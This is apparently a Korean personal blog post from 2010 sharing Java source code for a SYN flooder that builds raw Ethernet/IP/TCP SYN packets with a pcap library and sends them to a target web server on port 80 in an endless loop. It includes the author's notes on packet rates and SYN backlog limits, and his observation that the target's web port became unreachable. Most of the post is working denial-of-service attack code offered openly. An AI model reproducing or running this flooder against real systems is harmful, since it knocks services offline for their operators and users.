Syn Flooder 코드

자바의 한계로 이런 부류는 너무 느려서 안 되겠다.. 재미가 없네..
초당 2만 정도 밖에 안 나간다.. SYN_RCVD 대기가 별로 안 생김..

나중에 다시 해봐야지 -_-;; IP와 MAC도 바꿔봐야 될라나 싶은데..
일단 다른 작업부터..
---
음 웹 서버 접속이 안 되긴 한다..  
RCVD도 그렇게 빨리 떨어지지 않는걸로 봐서 한계치? 그럴리가 없는데 이상해..
해당 포트는 접속 못 해도 다른 포트는 잘 접속되고 말이지.. 내가 모르는 rate limit이 있나..
---
보통 이게 기본값인가..

# cat /proc/sys/net/ipv4/tcp_max_syn_backlog
1024

그래도 SYN_RCVD 숫자가 경계선에 한참 못 미치는데..
--

public class SynFlooder {
public static void main(String[] args) throws IOException {
System.loadLibrary("kpcap");

InetSocketAddress targetIp = new InetSocketAddress(InetAddress.getByName(IP), 80);
PcapDevice device = PcapDeviceManager.openFor(targetIp.getAddress(), 1000);
MacAddress targetMac = Arping.query(targetIp.getAddress(), 1000);

byte[][] buffers = new byte[50000][];
for (int i = 10000; i < 50000; i++) {
Buffer buf = createSynPacket(i, targetIp, targetMac);
byte[] buffer = new byte[buf.readableBytes()];
buf.gets(buffer);
buffers[i] = buffer;
}

System.out.println("syn packets loaded");
while (true) {
for (int i = 10000; i < 50000; i++) {
device.write(buffers[i]);
}
}
}

private static Buffer createSynPacket(int sourcePort, InetSocketAddress destination, MacAddress targetMac)
throws UnknownHostException, IOException {
System.out.println(sourcePort);
PcapDeviceMetadata metadata = PcapDeviceManager.getDeviceMetadata(destination.getAddress());

InetAddress sourceIp = metadata.getInet4Address();
MacAddress sourceMac = metadata.getMacAddress();
InetSocketAddress source = new InetSocketAddress(sourceIp, sourcePort);

TcpPacket tcpPacket = new TcpPacket.Builder(source, destination).flags(TcpFlag.SYN).build();
IpPacket ipPacket = new IpPacket.Builder(1, source.getAddress(), destination.getAddress(),
InternetProtocol.TCP, tcpPacket.getBuffer()).build();

EthernetHeader ethHeader = new EthernetHeader(sourceMac, targetMac, EthernetType.IPV4);
return new EthernetFrame(ethHeader, ipPacket.getBuffer()).getBuffer();
}
}

트랙백

이 글과 관련된 글 쓰기 (트랙백 보내기)
TrackbackURL : http://www.xeraph.com/tb/5365164 [도움말]

덧글

  • 홈쥬인 2010/10/05 19:24 # 답글

    이햐 멋있다!!!! (...를 랍횽이 바란다고 해서 리플달았음)
  • xeraph 2010/10/05 19:25 #

    흥 삐졌음
댓글 입력 영역